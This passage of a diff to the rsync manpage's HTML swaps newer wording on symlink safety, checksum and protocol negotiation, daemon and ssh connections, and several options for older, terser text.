of\n-filenames and pass it to <a href=\"#opt--files-from\"><code>--files-from</code></a>.</p>\n-<h3 id=\"Symbolic_links\">Symbolic links<a href=\"#Symbolic_links\" class=\"tgt\"></a></h3>\n-<p>A malicious sender can include symlinks that point outside the destination tree\n-(for example at <code>/etc/passwd</code>).  Use <a href=\"#opt--safe-links\"><code>--safe-links</code></a> to ignore any symlink\n-that points outside the set of files\n-being transferred, or <a href=\"#opt--munge-links\"><code>--munge-links</code></a> to store every symlink in a\n-form that is unusable on disk but recoverable later; <code>--no-links</code> drops symlinks\n-entirely.  See the <a href=\"#SYMBOLIC_LINKS\">SYMBOLIC LINKS</a> section for how these interact.</p>\n-<p>Separately, the directory and file paths that <u>you</u> supply on the command line&nbsp;-&#8288;-&#8288;\n-<a href=\"#opt--backup-dir\"><code>--backup-dir</code></a>, <a href=\"#opt--temp-dir\"><code>--temp-dir</code></a>, <a href=\"#opt--partial-dir\"><code>--partial-dir</code></a>, the\n-<a href=\"#opt--link-dest\"><code>--link-dest</code></a>/<a href=\"#opt--compare-dest\"><code>--compare-dest</code></a>/<a href=\"#opt--copy-dest\"><code>--copy-dest</code></a> basis directories,\n-<a href=\"#opt--log-file\"><code>--log-file</code></a>, <a href=\"#opt--password-file\"><code>--password-file</code></a>,\n-<a href=\"#opt--files-from\"><code>--files-from</code></a>/<code>--include-from</code>/<code>--exclude-from</code>,\n-<a href=\"#opt--filter\"><code>--filter</code></a> merge files, <a href=\"#opt--write-batch\"><code>--write-batch</code></a>/<a href=\"#opt--read-batch\"><code>--read-batch</code></a>,\n-and the destination itself&nbsp;-&#8288;-&#8288; are resolved so that a symlink component is followed\n-only when it is owned by you or by root; an attacker-planted symlink along one of\n-those paths is refused.  <a href=\"#opt--insecure-links\"><code>--insecure-links</code></a> turns that protection off\n-(restoring the historical follow-any-symlink behaviour); use it only when every\n-directory along those paths is trusted, never on a path an unprivileged user can\n-write.</p>\n-<h3 id=\"Use_strong_checksums\">Use strong checksums<a href=\"#Use_strong_checksums\" class=\"tgt\"></a></h3>\n-<p>Rsync auto-negotiates the strongest checksum that both ends support, so keeping\n-both local and remote rsync versions reasonably current is usually all\n-that is needed.  You can\n-pin the choice with <a href=\"#opt--checksum-choice\"><code>--checksum-choice</code></a> (<code>--cc</code>, e.g. <code>--cc=sha1</code> or one\n-of the xxHash variants) or constrain negotiation with the\n-<a href=\"#RSYNC_CHECKSUM_LIST\"><code>RSYNC_CHECKSUM_LIST</code></a> environment variable; only very old peers fall back to\n-MD4/MD5.  This pre-transfer &quot;does this file need updating?&quot; checksum is separate\n-from the whole-file checksum rsync normally computes to verify each transferred\n-file afterward (verification is off when <code>--checksum-choice=none</code> is forced).</p>\n-<h3 id=\"Protocol_version\">Protocol version<a href=\"#Protocol_version\" class=\"tgt\"></a></h3>\n-<p>The client and server automatically negotiate the newest protocol they both\n-support, so a current pair is already using the most recent version;\n-<a href=\"#opt--protocol\"><code>--protocol</code></a> only <u>forces an older</u> version for compatibility and should\n-not be used to downgrade a connection.  Avoiding old protocols is therefore a\n-matter of running a current rsync on both ends (a protocol below 30 also forces\n-the weak MD4 authentication digest on a daemon connection&nbsp;-&#8288;-&#8288; see the AUTHENTICATION\n-STRENGTH section of <a href=\"rsyncd.conf.5\"><strong>rsyncd.conf</strong>(5)</a>).</p>\n+<p>CAUTION: it is not particularly safe to use rsync to copy files from a\n+case-preserving filesystem to a case-ignoring filesystem.  If you must perform\n+such a copy, you should either disable symlinks via <code>--no-links</code> or enable the\n+munging of symlinks via <a href=\"#opt--munge-links\"><code>--munge-links</code></a> (and make sure you use the\n+right local or remote option).  This will prevent rsync from doing potentially\n+dangerous things if a symlink name overlaps with a file or directory. It does\n+not, however, ensure that you get a full copy of all the files (since that may\n+not be possible when the names overlap). A potentially better solution is to\n+list all the source files and create a safe list of filenames that you pass to\n+the <a href=\"#opt--files-from\"><code>--files-from</code></a> option.  Any files that conflict in name would need\n+to be copied to different destination directories using more than one copy.</p>\n+<p>While a copy of a case-ignoring filesystem to a case-ignoring filesystem can\n+work out fairly well, if no <code>--delete-during</code> or <code>--delete-before</code> option is\n+active, rsync can potentially update an existing file on the receiving side\n+without noticing that the upper-/lower-case of the filename should be changed\n+to match the sender.</p>\n <h2 id=\"ADVANCED_USAGE\">ADVANCED USAGE<a href=\"#ADVANCED_USAGE\" class=\"tgt\"></a></h2>\n <p>The syntax for requesting multiple files from a remote host is done by\n-specifying additional remote-host arguments in the same style as the first, or with\n+specifying additional remote-host args in the same style as the first, or with\n the hostname omitted.  For instance, all these work:</p>\n <blockquote>\n <pre><code>rsync -aiv host:file1 :file2 host:file{3,4} /dest/\n@@ -346,14 +273,12 @@ rsync -aiv host::modname/first ::extra-file{1,2} /dest/\n command, so if the start of a follow-up path doesn't begin with the\n modname of the first path, it is assumed to be a path in the module (such as\n the extra-file1 &amp; extra-file2 that are grabbed above).</p>\n-<p>Because really old versions of rsync (prior to 3.0.0, released\n-March 2008) only allowed specifying one\n-remote-source argument, some people have come to rely on the remote shell\n-performing space splitting to break a single argument into multiple paths. Such\n-unintuitive behavior is no longer supported by default, though you can request\n-it, as described in the next paragraph.\n-Rsync now (since 3.2.4) passes filenames to a remote\n-shell in such a way as to\n+<p>Really old versions of rsync (2.6.9 and before) only allowed specifying one\n+remote-source arg, so some people have instead relied on the remote-shell\n+performing space splitting to break up an arg into multiple paths. Such\n+unintuitive behavior is no longer supported by default (though you can request\n+it, as described below).</p>\n+<p>Starting in 3.2.4, filenames are passed to a remote shell in such a way as to\n preserve the characters you give it. Thus, if you ask for a file with spaces\n in the name, that's what the remote rsync looks for:</p>\n <blockquote>\n@@ -361,41 +286,33 @@ in the name, that's what the remote rsync looks for:</p>\n </code></pre>\n </blockquote>\n <p>If you use scripts that have been written to manually apply extra quoting to\n-the remote rsync arguments, or to rely on remote argument splitting, you can ask rsync\n+the remote rsync args (or to require remote arg splitting), you can ask rsync\n to let your script handle the extra escaping.  This is done by either adding\n the <a href=\"#opt--old-args\"><code>--old-args</code></a> option to the rsync runs in the script (which requires\n a new rsync) or exporting <a href=\"#RSYNC_OLD_ARGS\">RSYNC_OLD_ARGS</a>=1 and <a href=\"#RSYNC_PROTECT_ARGS\">RSYNC_PROTECT_ARGS</a>=0\n (which works with old or new rsync versions).</p>\n <h2 id=\"CONNECTING_TO_AN_RSYNC_DAEMON\">CONNECTING TO AN RSYNC DAEMON<a href=\"#CONNECTING_TO_AN_RSYNC_DAEMON\" class=\"tgt\"></a></h2>\n-<p>An rsync daemon provides a way to give access to one or more directory\n-hierarchies on a system in a controlled way, without having to provide\n-shell access to the system.  Each directory hierarchy is called a\n-&quot;module&quot;.  The names, directories, access permissions and so on for\n-each module are defined by the rsync daemon configuration file,\n-described in <a href=\"rsyncd.conf.5\"><strong>rsyncd.conf</strong>(5)</a>.\n-Connections to an rsync daemon typically use TCP port 873.  The\n-administrator of the system would normally arrange for the rsync\n-daemon to be running;\n-refer to the <a href=\"#STARTING_AN_RSYNC_DAEMON_TO_ACCEPT_CONNECTIONS\">STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS</a>\n-section below for information on how to do that.</p>\n-<p>From the client point of view, using rsync to access an rsync daemon\n-is similar to using it with a remote shell except that:</p>\n+<p>It is also possible to use rsync without a remote shell as the transport.  In\n+this case you will directly connect to a remote rsync daemon, typically using\n+TCP port 873. (This obviously requires the daemon to be running on the remote\n+system, so refer to the <a href=\"#STARTING_AN_RSYNC_DAEMON_TO_ACCEPT_CONNECTIONS\">STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS</a>\n+section below for information on that.)</p>\n+<p>Using rsync in this way is the same as using it with a remote shell except\n+that:</p>\n <ul>\n <li>Use either double-colon syntax or rsync:// URL syntax instead of the\n single-colon (remote shell) syntax.</li>\n <li>The first element of the &quot;path&quot; is actually a module name.</li>\n-<li>Additional remote source arguments can use an abbreviated syntax that omits the\n+<li>Additional remote source args can use an abbreviated syntax that omits the\n hostname and/or the module name, as discussed in <a href=\"#ADVANCED_USAGE\">ADVANCED USAGE</a>.</li>\n <li>The remote daemon may print a &quot;message of the day&quot; when you connect.</li>\n <li>If you specify only the host (with no module or path) then a list of\n accessible modules on the daemon is output.</li>\n <li>If you specify a remote source path but no destination, a listing of the\n matching files on the remote daemon is output.</li>\n-<li>To contact an rsync daemon directly, the <a href=\"#opt--rsh\"><code>--rsh</code></a> (<code>-e</code>)\n-option must be omitted.  If it is used, rsync will use the specified\n-remote shell program to start an rsync daemon on the remote system.\n-See the <a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n-CONNECTION</a> section for information on this mode of operation.</li>\n+<li>The <a href=\"#opt--rsh\"><code>--rsh</code></a> (<code>-e</code>) option must be omitted to avoid changing the\n+connection style from using a socket connection to <a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING RSYNC-DAEMON\n+FEATURES VIA A REMOTE-SHELL CONNECTION</a>.</li>\n </ul>\n <p>An example that copies all the files in a remote module named &quot;src&quot;:</p>\n <blockquote>\n@@ -407,20 +324,8 @@ receive a password prompt when you connect.  You can avoid the password prompt\n by setting the environment variable <a href=\"#RSYNC_PASSWORD\"><code>RSYNC_PASSWORD</code></a> to the password you\n want to use or using the <a href=\"#opt--password-file\"><code>--password-file</code></a> option.  This may be useful\n when scripting rsync.</p>\n-<p>WARNING: On some systems, environment variables are visible to all users.  On\n+<p>WARNING: On some systems environment variables are visible to all users.  On\n those systems using <a href=\"#opt--password-file\"><code>--password-file</code></a> is recommended.</p>\n-<p>If rsync was built with IDN support (look for &quot;IDN&quot; in <code>rsync --version</code>), the\n-daemon host may contain non-ASCII characters: those labels are converted to\n-their IDNA A-label (&quot;Punycode&quot;) form before the name is looked up.  The name is\n-read using your locale's character encoding, so be sure your locale is set\n-correctly.  A name typed with combining characters is normalized on the way, so\n-it is looked up the same as its precomposed spelling.  Only the non-ASCII\n-labels change, so an address literal, a name you punycoded yourself, and a name\n-that is not a valid IDN are all looked up just as you typed them.</p>\n-<p>This applies to the host of a daemon connection only.  The host of a plain\n-remote-shell transfer (the single-colon syntax) is passed to your remote-shell\n-program unchanged, since that name may well be an ssh_config &quot;Host&quot; alias\n-rather than a DNS name.</p>\n <p>You may establish the connection via a web proxy by setting the environment\n variable <a href=\"#RSYNC_PROXY\"><code>RSYNC_PROXY</code></a> to a hostname:port pair pointing to your web proxy.\n Note that your web proxy's configuration must support proxy connections to port\n@@ -444,46 +349,35 @@ the default shell of the <strong>system()</strong> call.</p>\n <h2 id=\"USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\">USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION<a href=\"#USING_RSYNC-DAEMON_FEATURES_VIA_A_REMOTE-SHELL_CONNECTION\" class=\"tgt\"></a></h2>\n <p>It is sometimes useful to use various features of an rsync daemon (such as\n named modules) without actually allowing any new socket connections into a\n-system, other than what is already required to allow remote-shell access.\n+system (other than what is already required to allow remote-shell access).\n Rsync supports connecting to a host using a remote shell and then spawning a\n-single-use &quot;daemon&quot; server that expects to read its config file in the home directory\n+single-use &quot;daemon&quot; server that expects to read its config file in the home dir\n of the remote user.  This can be useful if you want to encrypt a daemon-style\n-transfer's data.  However, since the daemon is started by the remote user,\n-you may not be able to use features which require root privilege, such\n-as chroot or setting the user ID used by the daemon.\n-(For another way to encrypt a daemon transfer, consider using ssh\n-to tunnel a local port to a remote machine, and configure a normal rsync daemon\n-on that remote host to allow connections only from &quot;localhost&quot;.)</p>\n+transfer's data, but since the daemon is started up fresh by the remote user,\n+you may not be able to use features such as chroot or change the uid used by\n+the daemon. (For another way to encrypt a daemon transfer, consider using ssh\n+to tunnel a local port to a remote machine and configure a normal rsync daemon\n+on that remote host to only allow connections from &quot;localhost&quot;.)</p>\n <p>From the user's perspective, a daemon transfer via a remote-shell connection\n uses nearly the same command-line syntax as a normal rsync-daemon transfer,\n-with the only difference being that you must explicitly set the remote shell\n+with the only exception being that you must explicitly set the remote shell\n program on the command-line with the <a href=\"#opt--rsh\"><code>--rsh=COMMAND</code></a> option. (Setting the\n RSYNC_RSH in the environment will not turn on this functionality.) For example:</p>\n <blockquote>\n <pre><code>rsync -av --rsh=ssh host::module /dest\n </code></pre>\n </blockquote>\n-<p>A &quot;user@&quot; prefix in front of the host serves two purposes at once in this mode:\n-it is the rsync-user value (used to log in to a module that requires user-based\n-authentication) and, by default, it is also passed to the remote shell as the\n-login user.  So the simple form</p>\n-<blockquote>\n-<pre><code>rsync -av --rsh=ssh user@host::module /dest\n-</code></pre>\n-</blockquote>\n-<p>runs <code>ssh -l user host</code> and offers &quot;user&quot; as the rsync-user to the module; the\n-two are forced to be the same name.</p>\n-<p>If you need the remote-shell (ssh) login to use a different name than the\n-rsync-user, give an explicit '-&#8288;l' option to ssh in the remote-shell command.\n-When ssh is already told which user to log in as, rsync does not add its own\n-'-&#8288;l', so the &quot;user@&quot; prefix is then used only as the rsync-user.  For example,\n-using the short version of the <a href=\"#opt--rsh\"><code>--rsh</code></a> option:</p>\n+<p>If you need to specify a different remote-shell user, keep in mind that the\n+user@ prefix in front of the host is specifying the rsync-user value (for a\n+module that requires user-based authentication).  This means that you must give\n+the '-&#8288;l user' option to ssh when specifying the remote-shell, as in this\n+example that uses the short version of the <a href=\"#opt--rsh\"><code>--rsh</code></a> option:</p>\n <blockquote>\n <pre><code>rsync -av -e &quot;ssh -l ssh-user&quot; rsync-user@host::module /dest\n </code></pre>\n </blockquote>\n-<p>Here &quot;ssh-user&quot; is used at the ssh level while &quot;rsync-user&quot; is used to log in to\n-the &quot;module&quot;.</p>\n+<p>The &quot;ssh-user&quot; will be used at the ssh level; the &quot;rsync-user&quot; will be used to\n+log-in to the &quot;module&quot;.</p>\n <p>In this setup, the daemon is started by the ssh command that is accessing the\n system (which can be forced via the <code>~/.ssh/authorized_keys</code> file, if desired).\n However, when accessing a daemon directly, it needs to be started beforehand.</p>\n@@ -492,9 +386,9 @@ However, when accessing a daemon directly, it needs to be started beforehand.</p\n daemon already running (or it needs to have configured something like inetd to\n spawn an rsync daemon for incoming connections on a particular port).  For full\n information on how to start a daemon that will handling incoming socket\n-connections, see the manpage for <a href=\"rsyncd.conf.5\"><strong>rsyncd.conf</strong>(5)</a>,\n-the config file for the daemon.  The manpage contains the full details for how to run\n-the daemon, including stand-alone and inetd configurations.</p>\n+connections, see the <a href=\"rsyncd.conf.5\"><strong>rsyncd.conf</strong>(5)</a> manpage&nbsp;-&#8288;-&#8288; that is\n+the config file for the daemon, and it contains the full details for how to run\n+the daemon (including stand-alone and inetd configurations).</p>\n <p>If you're using one of the remote-shell transports for the transfer, there is\n no need to manually start an rsync daemon.</p>\n <h2 id=\"EXAMPLES\">EXAMPLES<a href=\"#EXAMPLES\" class=\"tgt\"></a></h2>\n@@ -523,11 +417,8 @@ has its own detailed description later in this manpage.</p>\n --archive, -a            archive mode is -rlptgoD (no -A,-X,-U,-N,-H)\n --no-OPTION              turn off an implied OPTION (e.g. --no-D)\n --recursive, -r          recurse into directories\n---inc-recursive, --i-r   enable incremental recursion\n---no-inc-recursive       disable incremental recursion\n---no-i-r                 same as --no-inc-recursive\n --relative, -R           use relative path names\n---no-implied-dirs        don't send implied directories with --relative\n+--no-implied-dirs        don't send implied dirs with --relative\n --backup, -b             make backups (see --suffix &amp; --backup-dir)\n --backup-dir=DIR         make backups into hierarchy based in DIR\n --suffix=SUFFIX          backup suffix (default ~ w/o --backup-dir)\n@@ -536,18 +427,15 @@ has its own detailed description later in this manpage.</p>\n --append                 append data onto shorter files\n --append-verify          --append w/old data in file checksum\n --dirs, -d               transfer directories without recursing\n---old-dirs               works like --dirs when talking to old rsync\n---old-d                  same as --old-dirs\n+--old-dirs, --old-d      works like --dirs when talking to old rsync\n --mkpath                 create destination's missing path components\n --links, -l              copy symlinks as symlinks\n---copy-links, -L         transform symlink into referent file/directory\n+--copy-links, -L         transform symlink into referent file/dir\n --copy-unsafe-links      only &quot;unsafe&quot; symlinks are transformed\n --safe-links             ignore symlinks that point outside the tree\n---insecure-links         follow attacker-owned symlinks in operator paths\n---confine-root=DIR       refuse operator paths resolving outside DIR\n --munge-links            munge symlinks to make them safe &amp; unusable\n---copy-dirlinks, -k      transform symlink to directory into referent directory\n---keep-dirlinks, -K      treat symlinked directory on receiver as directory\n+--copy-dirlinks, -k      transform symlink to dir into referent dir\n+--keep-dirlinks, -K      treat symlinked dir on receiver as dir\n --hard-links, -H         preserve hard links\n --perms, -p              preserve permissions\n --executability, -E      preserve executability\n@@ -560,7 +448,6 @@ has its own detailed description later in this manpage.</p>\n --copy-devices           copy device contents as a regular file\n --write-devices          write to devices as files (implies --inplace)\n --specials               preserve special files\n---drop-D                 receiver refuses to create devices/specials\n -D                       same as --devices --specials\n --times, -t              preserve modification times\n --atimes, -U             preserve access (use) times\n@@ -574,27 +461,25 @@ has its own detailed description later in this manpage.</p>\n --preallocate            allocate dest files before writing them\n --dry-run, -n            perform a trial run with no changes made\n --whole-file, -W         copy files whole (w/o delta-xfer algorithm)\n---no-whole-file, --no-W  use the delta-xfer algorithm\n --checksum-choice=STR    choose the checksum algorithm (aka --cc)\n --one-file-system, -x    don't cross filesystem boundaries\n --block-size=SIZE, -B    force a fixed checksum block-size\n --rsh=COMMAND, -e        specify the remote shell to use\n --rsync-path=PROGRAM     specify the rsync to run on remote machine\n --existing               skip creating new files on receiver\n---ignore-non-existing    skip creating new files on receiver\n --ignore-existing        skip updating files that exist on receiver\n---remove-source-files    sender removes synchronized files (non-directory)\n+--remove-source-files    sender removes synchronized files (non-dir)\n --del                    an alias for --delete-during\n---delete                 delete extraneous files from dest directories\n+--delete                 delete extraneous files from dest dirs\n --delete-before          receiver deletes before xfer, not during\n --delete-during          receiver deletes during the transfer\n --delete-delay           find deletions during, delete after\n --delete-after           receiver deletes after transfer, not during\n---delete-excluded        also delete excluded files from dest directories\n---ignore-missing-args    ignore missing source arguments without error\n---delete-missing-args    delete missing source arguments from destination\n+--delete-excluded        also delete excluded files from dest dirs\n+--ignore-missing-args    ignore missing source args without error\n+--delete-missing-args    delete missing source args from destination\n --ignore-errors          delete even if there are I/O errors\n---force                  force deletion of directories even if not empty\n+--force                  force deletion of dirs even if not empty\n --max-delete=NUM         don't delete more than NUM files\n --max-size=SIZE          don't transfer any file larger than SIZE\n --min-size=SIZE          don't transfer any file smaller than SIZE\n@@ -602,7 +487,6 @@ has its own detailed description later in this manpage.</p>\n --partial                keep partially transferred files\n --partial-dir=DIR        put a partially transferred file into DIR\n --delay-updates          put all updated files into place at end\n---delay-symlinks         create symlinks after all files are in place\n --prune-empty-dirs, -m   prune empty directory chains from file-list\n --numeric-ids            don't map uid/gid values by user/group name\n --usermap=STRING         custom username mapping\n@@ -621,7 +505,6 @@ has its own detailed description later in this manpage.</p>\n --compress, -z           compress file data during the transfer\n --compress-choice=STR    choose the compression algorithm (aka --zc)\n --compress-level=NUM     explicitly set compression level (aka --zl)\n---compress-threads=NUM   explicitly set compression threads (aka --zt)\n --skip-compress=LIST     skip compressing files with suffix in LIST\n --cvs-exclude, -C        auto-ignore files in the same way CVS does\n --filter=RULE, -f        add a file-filtering RULE\n@@ -633,8 +516,8 @@ has its own detailed description later in this manpage.</p>\n --include-from=FILE      read include patterns from FILE\n --files-from=FILE        read list of source-file names from FILE\n --from0, -0              all *-from/filter files are delimited by 0s\n---old-args               disable the modern argument-protection idiom\n---secluded-args, -s      use the protocol to safely send the arguments\n+--old-args               disable the modern arg-protection idiom\n+--secluded-args, -s      use the protocol to safely send the args\n --trust-sender           trust the remote sender's file list\n --copy-as=USER[:GROUP]   specify user &amp; optional group for the copy\n --address=ADDRESS        bind address for outgoing socket to daemon\n@@ -667,8 +550,6 @@ has its own detailed description later in this manpage.</p>\n --checksum-seed=NUM      set block/file checksum seed (advanced)\n --ipv4, -4               prefer IPv4\n --ipv6, -6               prefer IPv6\n---nice=SETTINGS          adjust rsync CPU and I/O priorities\n---no-nice                clear earlier --nice settings\n --version, -V            print the version + other info and exit\n --help, -h (*)           show this help (* -h is help only on its own)\n </code></pre>\n@@ -684,8 +565,6 @@ accepted:</p>\n --log-file=FILE          override the &quot;log file&quot; setting\n --log-file-format=FMT    override the &quot;log format&quot; setting\n --sockopts=OPTIONS       specify custom TCP options\n---nice=SETTINGS          adjust daemon process CPU and I/O priorities\n---no-nice                clear earlier --nice settings\n --verbose, -v            increase verbosity\n --ipv4, -4               prefer IPv4\n --ipv6, -6               prefer IPv6\n@@ -704,19 +583,19 @@ option has a short variant).</p>\n <p>The parameter may need to be quoted in some manner for it to survive the\n shell's command-line parsing.  Also keep in mind that a leading tilde (<code>~</code>) in\n a pathname is substituted by your shell, so make sure that you separate the\n-option name from the pathname using a space (rather than an equal\n-sign) if you want the local shell to expand it.</p>\n+option name from the pathname using a space if you want the local shell to\n+expand it.</p>\n <dl>\n \n <dt id=\"opt--help\"><code>--help</code><a href=\"#opt--help\" class=\"tgt\"></a></dt><dd>\n <p>Print a short help page describing the options available in rsync and exit.\n You can also use <code>-h</code> for <code>--help</code> when it is used without any other\n-options or arguments (since otherwise it means <a href=\"#opt--human-readable\"><code>--human-readable</code></a>).</p>\n+options (since it normally means <a href=\"#opt--human-readable\"><code>--human-readable</code></a>).</p>\n </dd>\n \n <span id=\"opt-V\"></span><dt id=\"opt--version\"><code>--version</code>, <code>-V</code><a href=\"#opt--version\" class=\"tgt\"></a></dt><dd>\n <p>Print the rsync version plus other info and exit.  When repeated, the\n-information is output in a JSON format that is still fairly readable\n+information is output is a JSON format that is still fairly readable\n (client side only).</p>\n <p>The output includes a list of compiled-in capabilities, a list of\n optimizations, the default list of checksum algorithms, the default list of\n@@ -742,15 +621,14 @@ sent and received bytes (which is really just a feel-good bigger-is-better\n number).  Note that these byte values can be made more (or less)\n human-readable by using the <a href=\"#opt--human-readable\"><code>--human-readable</code></a> (or\n <code>--no-human-readable</code>) options.</p>\n-<p>The <code>-v</code> option is equivalent to the setting of groups\n+<p>In a modern rsync, the <code>-v</code> option is equivalent to the setting of groups\n of <a href=\"#opt--info\"><code>--info</code></a> and <a href=\"#opt--debug\"><code>--debug</code></a> options.  You can choose to use\n these newer options in addition to, or in place of using <code>--verbose</code>, as\n any fine-grained settings override the implied settings of <code>-v</code>.  Both\n-<a href=\"#opt--info\"><code>--info</code></a> and <a href=\"#opt--debug\"><code>--debug</code></a> have help texts available that\n-tells you exactly what flags are set for each increase in verbosity\n-(use <code>--info=help</code> or <code>--debug=help</code> to see them).</p>\n+<a href=\"#opt--info\"><code>--info</code></a> and <a href=\"#opt--debug\"><code>--debug</code></a> have a way to ask for help that\n+tells you exactly what flags are set for each increase in verbosity.</p>\n <p>However, do keep in mind that a daemon's &quot;<code>max verbosity</code>&quot; setting will limit\n-how high the various individual flags can be set on the daemon\n+how high of a level the various individual flags can be set on the daemon\n side.  For instance, if the max is 2, then any info and/or debug flag that\n is set to a higher value than what would be set by <code>-vv</code> will be downgraded\n to the <code>-vv</code> level in the daemon's logging.</p>\n@@ -772,9 +650,9 @@ rsync -avv --info=stats2,misc1,flist0 src/ dest/\n <p>Note that <code>--info=name</code>'s output is affected by the <a href=\"#opt--out-format\"><code>--out-format</code></a>\n and <a href=\"#opt--itemize-changes\"><code>--itemize-changes</code></a> (<code>-i</code>) options.  See those options for more\n information on what is output and when.</p>\n-<p>This option was added to 3.1.0 (released September 2013),\n-so an older rsync on the server side might\n-reject your attempts at fine-grained control.\n+<p>This option was added to 3.1.0, so an older rsync on the server side might\n+reject your attempts at fine-grained control (if one or more flags needed\n+to be send to the server and the server was too old to understand them).\n See also the &quot;<code>max verbosity</code>&quot; caveat above when dealing with a daemon.</p>\n </dd>\n \n@@ -793,9 +671,9 @@ rsync -avA --del --debug=del2,acl src/ dest/\n </blockquote>\n <p>Note that some debug messages will only be output when the <a href=\"#opt--stderr\"><code>--stderr=all</code></a>\n option is specified, especially those pertaining to I/O and buffer debugging.</p>\n-<p>This option is not forwarded by the client to the server side, so that\n-you can specify different debug values for each side of the transfer.\n-This also allows you to specify debug options that are only\n+<p>Beginning in 3.2.0, this option is no longer auto-forwarded to the server\n+side in order to allow you to specify different debug values for each side\n+of the transfer, as well as to specify a new debug option that is only\n present in one of the rsync versions.  If you want to duplicate the same\n option on both sides, using brace expansion is an easy way to save you some\n typing.  This works in zsh and bash:</p>\n@@ -806,23 +684,22 @@ typing.  This works in zsh and bash:</p>\n </dd>\n \n <dt id=\"opt--stderr\"><code>--stderr=errors|all|client</code><a href=\"#opt--stderr\" class=\"tgt\"></a></dt><dd>\n-<p>This option controls which processes output to stderr, and whether\n-info messages are output to stderr rather than stdout.\n-The mode strings can be abbreviated down as far as a single letter.\n-The 3 possible choices are:</p>\n+<p>This option controls which processes output to stderr and if info messages\n+are also changed to stderr.  The mode strings can be abbreviated, so feel\n+free to use a single letter value.  The 3 possible choices are:</p>\n <ul>\n <li>\n-<p><code>errors</code> -&#8288; (the default) causes all the rsync processes to send\n-errors directly to stderr, even if the process is on the remote side of\n+<p><code>errors</code> -&#8288; (the default) causes all the rsync processes to send an\n+error directly to stderr, even if the process is on the remote side of\n the transfer.  Info messages are sent to the client side via the protocol\n stream.  If stderr is not available (i.e. when directly connecting with a\n daemon via a socket) errors fall back to being sent via the protocol\n stream.</p>\n </li>\n <li>\n-<p><code>all</code> -&#8288; causes all rsync messages (info and error) to be written\n+<p><code>all</code> -&#8288; causes all rsync messages (info and error) to get written\n directly to stderr from all (possible) processes.  This causes stderr to\n-become line-buffered (instead of unbuffered) and eliminates the ability to\n+become line-buffered (instead of raw) and eliminates the ability to\n divide up the info and error messages by file handle.  For those doing\n debugging or using several levels of verbosity, this option can help to\n avoid clogging up the transfer stream (which should prevent any chance of\n@@ -839,10 +716,11 @@ older rsync, you may want to use <code>--stderr=all</code> since that idiom has\n been around for several releases.</p>\n </li>\n </ul>\n-<p>Rsync also accepts the old <code>--msgs2stderr</code> and <code>--no-msgs2stderr</code>\n-options, equivalent to the <code>all</code> and <code>client</code> settings,\n-respectively, and uses them when forwarding non-default settings\n-to the remote side, in case the remote rsync is an older version.</p>\n+<p>This option was added in rsync 3.2.3.  This version also began the\n+forwarding of a non-default setting to the remote side, though rsync uses\n+the backward-compatible options <code>--msgs2stderr</code> and <code>--no-msgs2stderr</code> to\n+represent the <code>all</code> and <code>client</code> settings, respectively.  A newer rsync\n+will continue to accept these older option names to maintain compatibility.</p>\n </dd>\n \n <span id=\"opt-q\"></span><dt id=\"opt--quiet\"><code>--quiet</code>, <code>-q</code><a href=\"#opt--quiet\" class=\"tgt\"></a></dt><dd>\n@@ -882,8 +760,7 @@ exactly.</p>\n <p>When comparing two timestamps, rsync treats the timestamps as being equal\n if they differ by no more than the modify-window value.  The default is 0,\n which matches just integer seconds.  If you specify a negative value (and\n-the receiver is at least version 3.1.3, released January 2018)\n-then nanoseconds will also be taken\n+the receiver is at least version 3.1.3) then nanoseconds will also be taken\n into account.  Specifying 1 is useful for copies to/from MS Windows FAT\n filesystems, because FAT represents times with a 2-second resolution\n (allowing times to differ from the original by up to 1 second).</p>\n@@ -904,7 +781,7 @@ between ext3 and ext4, or if the receiving rsync is older than 3.1.3.</p>\n need of a transfer.  Without this option, rsync uses a &quot;quick check&quot; that\n (by default) checks if each file's size and time of last modification match\n between the sender and receiver.  This option changes this to compare a\n-checksum for each file that has a matching size.  Generating the\n+128-bit checksum for each file that has a matching size.  Generating the\n checksums means that both sides will expend a lot of disk I/O reading all\n the data in the files in the transfer, so this can slow things down\n significantly (and this is prior to any reading that will be done to\n@@ -914,7 +791,7 @@ scan that builds the list of the available files.  The receiver generates\n its checksums when it is scanning for changed files, and will checksum any\n file that has the same size as the corresponding sender's file: files with\n either a changed size or a changed checksum are selected for transfer.</p>\n-<p>Note that rsync normally verifies that each <u>transferred</u> file was correctly\n+<p>Note that rsync always verifies that each <u>transferred</u> file was correctly\n reconstructed on the receiving side by checking a whole-file checksum that\n is generated as the file is transferred, but that automatic\n after-the-transfer verification has nothing to do with this option's\n@@ -962,10 +839,9 @@ incremental recursion for creating the list of files to transfer.</p>\n </dd>\n \n <span id=\"opt--i-r\"></span><dt id=\"opt--inc-recursive\"><code>--inc-recursive</code>, <code>--i-r</code><a href=\"#opt--inc-recursive\" class=\"tgt\"></a></dt><dd>\n-<p>This option explicitly enables incremental recursion when scanning for\n+<p>This option explicitly enables on incremental recursion when scanning for\n files, which is enabled by default when using the <a href=\"#opt--recursive\"><code>--recursive</code></a>\n-option and both sides of the transfer are running rsync 3.0.0\n-(released March 2008) or newer.</p>\n+option and both sides of the transfer are running rsync 3.0.0 or newer.</p>\n <p>Incremental recursion uses much less memory than non-incremental, while\n also beginning the transfer more quickly (since it doesn't need to scan the\n entire transfer hierarchy before it starts transferring files).  If no\n@@ -977,13 +853,13 @@ disable the incremental recursion mode.  These include:</p>\n <li><a href=\"#opt--delete-after\"><code>--delete-after</code></a></li>\n <li><a href=\"#opt--prune-empty-dirs\"><code>--prune-empty-dirs</code></a></li>\n <li><a href=\"#opt--delay-updates\"><code>--delay-updates</code></a></li>\n-<li><a href=\"#opt--delay-symlinks\"><code>--delay-symlinks</code></a></li>\n </ul>\n-<p>In order to be compatible with incremental recursion,\n-<a href=\"#opt--delete-during\"><code>--delete-during</code></a> is the default delete mode for <a href=\"#opt--delete\"><code>--delete</code></a>.</p>\n+<p>In order to make <a href=\"#opt--delete\"><code>--delete</code></a> compatible with incremental recursion,\n+rsync 3.0.0 made <a href=\"#opt--delete-during\"><code>--delete-during</code></a> the default 